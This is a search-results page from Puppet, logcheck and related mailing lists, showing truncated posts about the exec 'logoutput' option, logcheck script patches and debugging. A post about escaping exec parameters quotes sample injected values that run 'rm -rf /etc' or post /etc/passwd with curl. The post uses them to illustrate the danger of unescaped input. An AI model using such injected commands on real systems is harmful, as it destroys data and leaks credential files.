search for: logoutput

Displaying 20 results from an estimated 49 matches for "logoutput".

Did you mean: log_output
2004 May 15
2
Re: [Logcheck-commits] CVS logcheck/src
hey todd, looked again at that return value check merge: @@ -557,7 +584,8 @@ # the same lines) and reduce CPU and memory usage afterwards. debug "Sorting logs" $SORT -m $TMPDIR/logoutput/* | uniq | sed -e 's/ *$//' \ - > $TMPDIR/logoutput-sorted + > $TMPDIR/logoutput-sorted \ + ||error "Could not output to $TMPDIR/logoutput-sorted Disk Full?" i guess that aboves introduces some wrong message, because that it can potenitally fail if the files in $T...
2007 Dec 13
2
logoutput attribute on exec type
so here I am trying to track down why one of my execs isn''t working properly and I notice in the wiki[1]the option on_failure for logoutput. Turns out it does''t work (in 0.23.0) err: Parameter logoutput failed: Invalid ''logoutput'' value "on_failure". Valid values are true, false, debug, info, notice, warning, err, alert, emerg, crit. err: Could not create clone-repo-master/base: Parameter logoutpu...
2011 Feb 17
8
logoutput=>on_failure doesn't work as expected
I''m using puppet 0.25.1. I''ve got a simple resource: exec { "/bin/ls $oracle_base/dba/bin/database_backup.ksh": logoutput => on_failure, } and I don''t want it to log every time it''s successfully run: $ sudo tail -F /var/log/messages | grep puppetd Feb 17 16:36:11 test puppetd[26614]: (//my_module/Exec[/bin/ls /u01/ app/oracle/dba/bin/database_backup.ksh]/returns) executed successfully but logou...
2012 Feb 14
4
How to escape exec command parameters?
If I have a "simple" variable value, this works fine: capmon@peter:~> puppet -e ''$v="xyz" exec { f: command => "/bin/echo v is $v", logoutput => true }'' notice: /Stage[main]//Exec[f]/returns: v is xyz notice: /Stage[main]//Exec[f]/returns: executed successfully But how do I escape "bad" values of $v? Painful examples like the following spring to mind: $v = ";rm -rf /etc" or $v=";curl -d @/etc/passwd...
2013 Dec 18
3
About debugging of libvirt.
...valid connection error: Failed to connect socket to '/var/run/libvirt/libvirt-sock': Connection refused already i send one request to this community to solve this problem. they suggested to do gdb. Any guide to do the gdb libvirtd. By googling i did the following things: 1. i enable the logoutput and loglevel in libvirtd.conf 2. restarted the libvirtd with the changed configuration file. 3. ps -aux | grep libvirtd 4. gdb libvirtd pid 5. then what i have to do to find the reason for this error. Suggest me some steps to solve this problem. regards, cooldharma06.
2011 Aug 17
4
Puppet agent hangs for over a minute, no info in --summarize
...ml marshal raw yaml; using b64_zlib_yaml Master Log: info: Expiring the node cache of ubuntu05.wic.west.com info: Not using expired node for ubuntu05.wic.west.com from cache; expired at Wed Aug 17 13:00:12 -0400 2011 info: Caching node for ubuntu05.wic.west.com debug: Exec[pwd]: Adding default for logoutput debug: Exec[pwd]: Adding default for path debug: Exec[whoami]: Adding default for logoutput debug: Exec[whoami]: Adding default for path notice: Compiled catalog for ubuntu05.wic.west.com in environment production in 0.04 seconds Agent hangs between: debug: Loaded state in 0.00 seconds debug: Usi...
2011 Jun 24
7
Different users within same exec
I have the following exec in my manifest : exec { some_exec: path => [ "/bin","/usr/bin","/usr/local/bin" ], command => "EXECUTE COMMAND 1", onlyif => "EXECUTE COMMAND 2", logoutput => "on_failure" } I want that the "COMMAND 1" should be executed by "USER 1" and "COMMAND 2" should be executed by "USER 2". Is there a way to do it ? I tried giving the "users" parameter, but that seems to apply to both the commands...
2007 Mar 20
2
0.22.2 bug?
...ed -i ''s#\(KERNEL_REPO.*=\).*#\1 $mirror#'' ${rulefile}", path => "/usr/bin:/usr/sbin:/bin", cwd => "/usr/src/xen-${xenrelease}_${xenpatchlevel}-src/buildconfigs/", logoutput => "true", before => Exec["make-prep-kernels"]; } Version 0.22.1 ran ok but version 0.22.2 produces the following warning: warning: Unrecognised escape sequence ''\('' in file /srv/puppet/manifests/classes/bu...
2011 Jan 11
2
Differences between puppet and puppetd
Hi all, I am using Puppet to execute an Expect script (http://expect.sourceforge.net) on a client. The Puppet recipe, test.pp, is: exec { ''/root/test.exp'': command => ''/root/test.exp'', logoutput => true } The recipe runs correctly when run using ''puppet --debug --verbose test.pp'': debug: /Stage[main]//Exec[/root/test.exp]: Executing ''/root/test.exp'' debug: Executing ''/root/test.exp'' notice: /Stage[main]//Exec[/root/test.exp]/returns...
2005 Jul 20
0
(fwd) Bug#319169: logcheck: chokes on log files whose names contain spaces
i did some cleanup first, but now i'm choking on a much earlier stage than i first thought. -- logcheck for file in $(egrep --text -v "(^#|^[[:space:]]*$)" $LOGFILES_LIST); do logoutput "$file" done -- that falls apart if you insert in /etc/logcheck/logcheck.logfiles a line like /var/log/auth .log even if you escape it with "", which is a valid file name. hmm i'm not that fond of files with spaces inside, but i'd like to fix taht bug. atm found no...
2008 Jan 30
0
Shell Expansion in logcheck.logfiles
...48.000000000 +0800 +++ logcheck 2008-01-30 09:33:17.000000000 +0800 @@ -665,7 +665,9 @@ || error "Could not mkdir for log files" if [ ! $LOGFILE ] && [ -r $LOGFILES_LIST ]; then for file in $(egrep --text -v "(^#|^[[:space:]]*$)" $LOGFILES_LIST); do - logoutput "$file" + for line in $(ls -1 "$file"); do + logoutput "$line" + done done elif [ $LOGFILE ]; then if [ -f $LOGFILE ] && [ -r $LOGFILE ]; then Anyone see any ways that this is going to come back to haunt me? It seems to be...
2011 Mar 02
1
Bug#616103: logcheck: (re)enable globbing of logfile names
Package: logcheck Version: 1.3.13 Severity: minor Tags: patch In Lenny it was possible to use wildcards in logcheck.logfiles. For example, I used: /var/log/HOSTS/*/*.log root at durer:~# su -s /bin/bash -c "bash -x /usr/sbin/logcheck" logcheck <cut> + read file + logoutput '/var/log/HOSTS/*/*.log' + file='/var/log/HOSTS/*/*.log' + debug 'logoutput called with file: /var/log/HOSTS/*/*.log' + '[' 0 -eq 1 ']' + '[' -f '/var/log/HOSTS/*/*.log' ']' + echo 'E: File could not be read: /var/log/HOSTS/*/*.log...
2005 Oct 29
1
Bug#336265: logrotate detection, possible attack not checked by logcheck
...if [ -e "$file.0" -a "$file.0" -nt "$file.1.gz" ]; then 401: debug "Running logtail on rotated: $file.0" 402: $LOGTAIL -f "$file.0" -o "$offsetfile" $LOGTAIL_OPTS > \ 403: $TMPDIR/logoutput/$(basename "$file") 2>&1 \ 404: || error "Could not run logtail or save output" 405: rm -f "$offsetfile" \ 406: || error "Could not remove $offsetfile" 407: # assume the log is rotated by...
2013 Sep 16
4
Executing command via puppet !
Hi, Is it possible to get response of a command from puppet ? For example if I run "nginx -t" it would give some details about the configurations i.e. if configuration has some error then which file has the error ! Regards -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To unsubscribe from this group and stop receiving
2007 Mar 18
1
A wish or possible?
...#39;'$target''" ) } } exec { "sedfile-$name": command => "sed ${options} ''${pattern}'' ${file}", path => "/usr/bin:/usr/sbin:/bin", cwd => "$target", logoutput => "true", onlyif => $onlyif, require => $operatingsystem ? { debian => Package["sed"] } } } define checkkernelparamisset ( $file = ".config", $target = "/usr/...
2006 Sep 15
2
Execute commands on install not update
Maybe I''ve missed the obvious way of doing this, but is there an easy way to do something only when a package is installed but not updated? I''ve tried a few ideas but they all seem to be heading down the wrong path (tm). Thanks in advance. _______________________________________________ Puppet-users mailing list Puppet-users@madstop.com
2012 Oct 22
4
Possible to exclude an event in Puppet dashboard?
...e this? --- myscript: --- exec { "run_myscript" : # run myscript command => "/usr/bin/env ruby ${my_script} ${csv_files}", cwd => "${myscript_dir}", timeout => 0, logoutput => "on_failure", } -- Regards, Martin Willemsma -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To post to this group, send email to puppet-users@googlegroups.com. To unsubscribe from this group, send email to pup...
2004 Nov 10
1
logtail ignoring information in rotated logs
...e interesting stuff in /var/log. If it exists and its inode matches that in the state file, dump out any changes and then carry on with the new file. This approach seems a little messy, but it works for me. From the discussion in bug #271410, I understand that logcheck does much the same thing in logoutput(), so this is not really a fault with the whole package, but it seems more logical to me to perform the check in logtail itself, especially as other people don't seem to have considered the implications. The fiaif package, for example, includes a script (fiaif-scan) that invokes logtail to exam...
2011 Feb 17
1
Nested defined resources
...# create the virtualenv directory "$virtualenv": ensure => directory; } $touchfile = "$virtualenv/.ve-setup" exec { "virtualenv $virtualenv": logoutput => on_failure, name => "$python $package_dir/virtualenv.py \ --python=$python --distribute $virtualenv \ && touch ''$touchfile''", require => [...
2008 Dec 29
4
Using an Exec inside a define
...g Apache modules on an Ubuntu system. Inside my Apache class I have this definition: define module($ensure) { case $ensure { enabled: { exec { "a2enmod": command => "/usr/sbin/a2enmod $name", logoutput => on_failure, creates => "/etc/apache2/mods-enabled/$name.load", notify => Service["apache2"], } } disabled: { exec { "a2dismod":...